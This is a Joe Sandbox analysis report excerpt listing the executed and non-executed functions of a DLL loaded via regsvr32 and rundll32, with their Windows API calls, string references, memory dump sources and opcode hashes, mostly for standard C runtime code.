
Strings

RCC, xrefs: 6E9B3673
MOC, xrefs: 6E9B366B

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c9825f1e15f7eea5c8ec5168fb7bf7370ad903065a06b09d03d8131d82b49c60
Instruction ID: eb3cad915bf845ea954d5c9dee19aaa96e95efd47c032e992fa43fbec4dcadaf
Opcode Fuzzy Hash: c9825f1e15f7eea5c8ec5168fb7bf7370ad903065a06b09d03d8131d82b49c60
Instruction Fuzzy Hash: A641247190020AEBDF06CFA8CD89AEE7BBAEF48304F148199E914A7221D375E951DF51

Analysis Process: rundll32.exePID: 2036, Parent PID: 3652COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1262
Total number of Limit Nodes:	16

Executed Functions

Function 6E9B5A1D Relevance: 16.7, APIs: 11, Instructions: 188
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E9B5602: HeapFree.KERNEL32(00000000,00000000,?,6E9B4C74), ref: 6E9B5618
Part of subcall function 6E9B5602: GetLastError.KERNEL32(?,?,6E9B4C74), ref: 6E9B5623

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B4E
GetExitCodeProcess.KERNELBASE(?,?), ref: 6E9B5B5B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B70
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B7B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B86
__dosmaperr.LIBCMT ref: 6E9B5B8D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B98
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BA3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BB5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BC0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BF1

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 2764183375-0
Opcode ID: 769d1abba2d1fd3759fdc7e1faaf19780ec6971da330fb5263fe2f3866e85d12
Instruction ID: 9a1786106f481169e8a40bf0666839504565cfc77c975341344522898b244ae5
Opcode Fuzzy Hash: 769d1abba2d1fd3759fdc7e1faaf19780ec6971da330fb5263fe2f3866e85d12
Instruction Fuzzy Hash: CC5157B1C04209EFDF02AFE4C899AEF7BBEEF85319F108465E910A6150DB31CA44DE61

Function 6E9B117D Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E9B11C4
___scrt_uninitialize_crt.LIBCMT ref: 6E9B11DE

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 1ee410048c433e03df18d3e5399ec482279d72d34edda5c6f16eef1a47008bc9
Instruction ID: 44d2ce557b0beb4a6e3c914e342d420e126ee3e9b907804e9d3474a51ccf467b
Opcode Fuzzy Hash: 1ee410048c433e03df18d3e5399ec482279d72d34edda5c6f16eef1a47008bc9
Instruction Fuzzy Hash: 2A41D372E05619AEDB109FDBC840BAF3ABDEF97B94F104419E810AB240D730CD098FA0

Function 6E9B82A6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,6E9B83B5,?,6E9B4C74,00000000,00000000,?,?,6E9B858B,00000022,FlsSetValue,6E9C0550,6E9C0558,00000000), ref: 6E9B8367

Strings

ext-ms-, xrefs: 6E9B8311
api-ms-, xrefs: 6E9B82FD

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5e1cc08c08bd11455a72edec168707afd441c53e8079e9dfed32f5842bc84cf0
Instruction ID: 047686fc217a4540ba3d32f52ca79f1270a5b51701245e6cd1cc24daf3a04c54
Opcode Fuzzy Hash: 5e1cc08c08bd11455a72edec168707afd441c53e8079e9dfed32f5842bc84cf0
Instruction Fuzzy Hash: 1D21DA75909A13AFDB659AA5CC84E8B376C9F4B7A4F244524ED15E7281D730ED00CED0

Function 6E9B582A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6E9B586D
_strrchr.LIBCMT ref: 6E9B5877
_strrchr.LIBCMT ref: 6E9B588C

Part of subcall function 6E9B5602: HeapFree.KERNEL32(00000000,00000000,?,6E9B4C74), ref: 6E9B5618
Part of subcall function 6E9B5602: GetLastError.KERNEL32(?,?,6E9B4C74), ref: 6E9B5623

Part of subcall function 6E9B551E: IsProcessorFeaturePresent.KERNEL32(00000017,6E9B550D,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,?,6E9B5484,?,00000000,6E9B8E7D,?,6E9B8FEA), ref: 6E9B5520
Part of subcall function 6E9B551E: GetCurrentProcess.KERNEL32(C0000417,6E9B8FEA,?,00000000,?,00000000,?,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,6E9B8E7D,?), ref: 6E9B5543
Part of subcall function 6E9B551E: TerminateProcess.KERNEL32(00000000,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,6E9B8E7D,?,00000000,00000000,6E9C4988,0000002C,6E9B8EEE,?), ref: 6E9B554A

Strings

.com, xrefs: 6E9B5997, 6E9B59A1

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: _strrchr$Process$CurrentErrorFeatureFreeHeapLastPresentProcessorTerminate
String ID: .com
API String ID: 3694955208-4200470757
Opcode ID: 3da27925882b51b251689bbda7ef4eeb7a6cde249fc50e3cac19d445217c5124
Instruction ID: bcb4d47ed8aa2000cfae0ccf414cfcfc9dc31d34c4dfa707a5d627a7936c449d
Opcode Fuzzy Hash: 3da27925882b51b251689bbda7ef4eeb7a6cde249fc50e3cac19d445217c5124
Instruction Fuzzy Hash: 225127725183017BEB065AF5DC91BDB376F9F92768F640929E800AA185FB71D901CE60

Function 6E9B122D Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6E9B126A
dllmain_crt_dispatch.LIBCMT ref: 6E9B1281
dllmain_raw.LIBCMT ref: 6E9B12C9
dllmain_crt_dispatch.LIBCMT ref: 6E9B12DC
dllmain_raw.LIBCMT ref: 6E9B12EF

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: b6c945e1b583c371edd56800f071c3d852892af23eaf362e9c8786f112086ea5
Instruction ID: 8617da2c342937c19a659e4db7ddce9d6ef32f6d77ec48fa425d8b32fe9c8c05
Opcode Fuzzy Hash: b6c945e1b583c371edd56800f071c3d852892af23eaf362e9c8786f112086ea5
Instruction Fuzzy Hash: 5E218071D05259AEDB514FD7C840AAF3A7DDF83A94F104529FC149A214E331CD198FE0

Function 6E9B4167 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,6E9B4161,6E9B1014,6E9B1014,?,00000000,8253B637,6E9B1014,00000000), ref: 6E9B4178
TerminateProcess.KERNEL32(00000000,?,6E9B4161,6E9B1014,6E9B1014,?,00000000,8253B637,6E9B1014,00000000), ref: 6E9B417F
ExitProcess.KERNEL32 ref: 6E9B4191

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 973edddee2a1b23d83845a2b08e128e28e335d5397fecb043ad5254e8d7449c1
Instruction ID: ab696afcd0e0014a3645eff724ae3d24bc4d8e768588a713833b4db7220e5cb7
Opcode Fuzzy Hash: 973edddee2a1b23d83845a2b08e128e28e335d5397fecb043ad5254e8d7449c1
Instruction Fuzzy Hash: 70D06776808508ABCF012FA0CC0C88A3F69AFA16497204410F91945031EB31D997AE90

Function 6E9B1076 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E9B10C3

Part of subcall function 6E9B1546: InitializeSListHead.KERNEL32(6E9C6C30,6E9B10CD,6E9C44D8,00000010,6E9B105E,?,?,?,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520), ref: 6E9B154B

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E9B112D

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 9a7754c87b1732b5761392d7ebd8bac79591141506c0c46e59ab4ebeddbee7ba
Instruction ID: 5bb19186071c5959b80832c0db9e4f19cb3968b62d237b053b76b8c5ac98dce6
Opcode Fuzzy Hash: 9a7754c87b1732b5761392d7ebd8bac79591141506c0c46e59ab4ebeddbee7ba
Instruction Fuzzy Hash: 6321F3325492029ADB04ABEAC8113EF37AD9FA766CF200C19D4516B282CB72C44DCE66

Function 6E9B87A5 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6E9B87F1
GetFileType.KERNELBASE(00000000), ref: 6E9B8803

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a4867ef191456eb5200498d2cc10487fa7abd5e03eafd7ed958721d096ccd2bf
Instruction ID: 669d97631504c635f6c5721174b1a3f61f130e5f7a0df3d441b136e3cdf3e463
Opcode Fuzzy Hash: a4867ef191456eb5200498d2cc10487fa7abd5e03eafd7ed958721d096ccd2bf
Instruction Fuzzy Hash: 8D11B4725087538BD7744DBE8CD86537A9CAF5B335B240B1ED1B6869F1C330D486CA81

Function 6E9B99E0 Relevance: 1.6, APIs: 1, Instructions: 89
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000001,?,?,?,00000000,?,00000000,00000001,00000000,?,?,?,?,00000000,?), ref: 6E9B9A95

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9476f1033bd158d83e9b2829b6659a800b6e153cd7b186b39b2f70f79a908a25
Instruction ID: cfcb7f97c050c205ce9dc135097ab7d7a4568c7af9604615ed64ce5fc2f20dd7
Opcode Fuzzy Hash: 9476f1033bd158d83e9b2829b6659a800b6e153cd7b186b39b2f70f79a908a25
Instruction Fuzzy Hash: 32310AB2C14259BFDF028FD9DD80ADEBFB9BF58204F54406AE918B2211D7318950CF60

Function 6E9B8371 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61872f7641865333f7311e6203208c81f29081a4eda586a44ff8bbfc535903cf
Instruction ID: 2075c6a7b760339b286ab878b651315a14b3ab67175e9c67e07b3adf806fa216
Opcode Fuzzy Hash: 61872f7641865333f7311e6203208c81f29081a4eda586a44ff8bbfc535903cf
Instruction Fuzzy Hash: B101D673254617AF9F1ADAAEDC54A6B3369EFCAB207104514FD1197144DA31D800CB90

Function 6E9B6A31 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6E9B68E4,00000001,00000364,00000000,FFFFFFFF,000000FF,?,?,6E9B4C74), ref: 6E9B6A72

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 83043b86c02fe7b88dfe4d1b582700a3ad22ecd150969324796e8be9a2b1e8df
Instruction ID: 5c4fb3c64e40f0dbcabe6be37c1da4e41f228ae12d998fb42666e152a5da71aa
Opcode Fuzzy Hash: 83043b86c02fe7b88dfe4d1b582700a3ad22ecd150969324796e8be9a2b1e8df
Instruction Fuzzy Hash: A4F0B431524527BAEF519EF68C14A6B3B6DAF91760B10C531A814D6185CB30F410CEE1

Non-executed Functions

Function 6E9B1865 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6E9B1871
IsDebuggerPresent.KERNEL32 ref: 6E9B193D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E9B1956
UnhandledExceptionFilter.KERNEL32(?), ref: 6E9B1960

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f6f8f7937c3d0971e61bb74c86a8cd3bab2fbeb29367164e27eea537936aa31e
Instruction ID: 6f7fadee75c89f2caf5cbc0c31868b6870af51b202f19fc7aa86f959feea5baf
Opcode Fuzzy Hash: f6f8f7937c3d0971e61bb74c86a8cd3bab2fbeb29367164e27eea537936aa31e
Instruction Fuzzy Hash: 763106B9D052189BDF20DFA5D9497CEBBB8BF09304F1041EAE40CAB250EB719A84CF45

Function 6E9B5DA3 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

\, xrefs: 6E9B5F1D
PATH, xrefs: 6E9B5E7A, 6E9B5E80

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH$\
API String ID: 485612231-1896636505
Opcode ID: 6e53b1bd72cd300cfde92d5221cf650c8313d9816cc7f0044dd00728409b3b26
Instruction ID: 3b06b230ddf5997d1f506c23bbf8a40e194c7385c432baabb095856a048c4ef7
Opcode Fuzzy Hash: 6e53b1bd72cd300cfde92d5221cf650c8313d9816cc7f0044dd00728409b3b26
Instruction Fuzzy Hash: 9A9103B1D28206EFEB158FE6CC50BEF7BBEAF55314F10482AE421A6182EB75D540CE50

Function 6E9B328F Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6E9B33AE
___TypeMatch.LIBVCRUNTIME ref: 6E9B34BC
_UnwindNestedFrames.LIBCMT ref: 6E9B360E
CallUnexpected.LIBVCRUNTIME ref: 6E9B3629

Strings

csm, xrefs: 6E9B32CC
csm, xrefs: 6E9B3339
csm, xrefs: 6E9B33E5

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: da1e05de27f32010f57587a690c608e4587f995f69b835b8df8e86b30089cd20
Instruction ID: bd9052ea27d324cdecad4a11dd781a293565f9e4c6d5d7966b22caf8ad9ab591
Opcode Fuzzy Hash: da1e05de27f32010f57587a690c608e4587f995f69b835b8df8e86b30089cd20
Instruction Fuzzy Hash: 02B1747180020AEFCF05CFE5C88899FBBB9FF54714B50446AE824AB215DBB1EA51CF91

Function 6E9BC012 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,6E9BC2E2,00000000,00000000,00000000,00000001,?,?,?,?,00000001,00000000), ref: 6E9BC0B8
__alloca_probe_16.LIBCMT ref: 6E9BC173
__alloca_probe_16.LIBCMT ref: 6E9BC202
__freea.LIBCMT ref: 6E9BC24D
__freea.LIBCMT ref: 6E9BC253
__freea.LIBCMT ref: 6E9BC289
__freea.LIBCMT ref: 6E9BC28F
__freea.LIBCMT ref: 6E9BC29F

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 370fa7c05d858d1ec68f2b6056c52b66ee0e34ad6fb6e2f86a903ca8c97a2b91
Instruction ID: b28b99561730a699595d5f5070a752addbfbad3284b3666dab9a286bc17cabc9
Opcode Fuzzy Hash: 370fa7c05d858d1ec68f2b6056c52b66ee0e34ad6fb6e2f86a903ca8c97a2b91
Instruction Fuzzy Hash: 7771A172A0420AAFEF108AE48C51BEF77AD9FCA314F140959E954BF280E775D8418F91

Function 6E9B1C50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E9B1C87
___except_validate_context_record.LIBVCRUNTIME ref: 6E9B1C8F
_ValidateLocalCookies.LIBCMT ref: 6E9B1D18
__IsNonwritableInCurrentImage.LIBCMT ref: 6E9B1D43
_ValidateLocalCookies.LIBCMT ref: 6E9B1D98

Strings

csm, xrefs: 6E9B1D2D

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4108e0e80d24232af459c1c741241d030bb61c04ba7743c39036f287895f3e0c
Instruction ID: 509ac5eb2e943e72ca590de7f077edf4d2488a9ef89db7610ff955489773f02e
Opcode Fuzzy Hash: 4108e0e80d24232af459c1c741241d030bb61c04ba7743c39036f287895f3e0c
Instruction Fuzzy Hash: 9E417134910219ABCF04CFEAC884ADFBBB9EF86318F108555E8259B351D731DA59CF91

Function 6E9B235C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E9B1E31,6E9B163B,6E9B104E,?,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520,0000000C,6E9B137F), ref: 6E9B236A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E9B2378
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E9B2391
SetLastError.KERNEL32(00000000,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520,0000000C,6E9B137F,?,00000001,?), ref: 6E9B23E3

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
